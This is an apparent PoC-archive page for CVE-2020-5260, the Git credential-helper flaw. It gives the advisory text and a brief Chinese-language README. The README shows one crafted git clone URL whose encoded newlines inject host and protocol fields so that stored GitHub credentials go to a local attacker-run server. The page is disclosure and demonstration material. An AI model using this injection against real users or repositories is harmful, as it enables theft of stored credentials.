Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2020-5260 PoC — malicious URLs may cause Git to present stored credentials to the wrong server

Source
Associated Vulnerability
Title:malicious URLs may cause Git to present stored credentials to the wrong server (CVE-2020-5260)
Description:Affected versions of Git have a vulnerability whereby Git can be tricked into sending private credentials to a host controlled by an attacker. Git uses external "credential helper" programs to store and retrieve passwords or other credentials from secure storage provided by the operating system. Specially-crafted URLs that contain an encoded newline can inject unintended values into the credential helper protocol stream, causing the credential helper to retrieve the password for one server (e.g., good.example.com) for an HTTP request being made to another server (e.g., evil.example.com), resulting in credentials for the former being sent to the latter. There are no restrictions on the relationship between the two, meaning that an attacker can craft a URL that will present stored credentials for any host to a host of their choosing. The vulnerability can be triggered by feeding a malicious URL to git clone. However, the affected URLs look rather suspicious; the likely vector would be through systems which automatically clone URLs not visible to the user, such as Git submodules, or package systems built around Git. The problem has been patched in the versions published on April 14th, 2020, going back to v2.17.x. Anyone wishing to backport the change further can do so by applying commit 9a6bbee (the full release includes extra checks for git fsck, but that commit is sufficient to protect clients against the vulnerability). The patched versions are: 2.17.4, 2.18.3, 2.19.4, 2.20.3, 2.21.2, 2.22.3, 2.23.2, 2.24.2, 2.25.3, 2.26.1.
Description
CVE-2020-5260演示记录
Readme
# CVE-2020-5260

CVE-2020-5260演示记录


* git在执行类似"git clone https://example.com" 这样的命令时,会请求使用协议"https"存储主机"example.com"的凭据,并在远程端请求身份验证时将返回的凭据附加到发出的请求中

```
git clone 'http://localhost:8088/%0ahost=github.com%0aprotocol=https
```

![](./poc.gif)


# 参考链接:
https://bugs.chromium.org/p/project-zero/issues/detail?id=2021

https://github.com/brompwnie/cve-2020-5260
File Snapshot

[4.0K] /data/pocs/9e1ecc9e478bdaf9c932ee8cdc227a8b3e6e571d ├── [452K] poc.gif ├── [ 622] poc.go └── [ 482] README.md 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →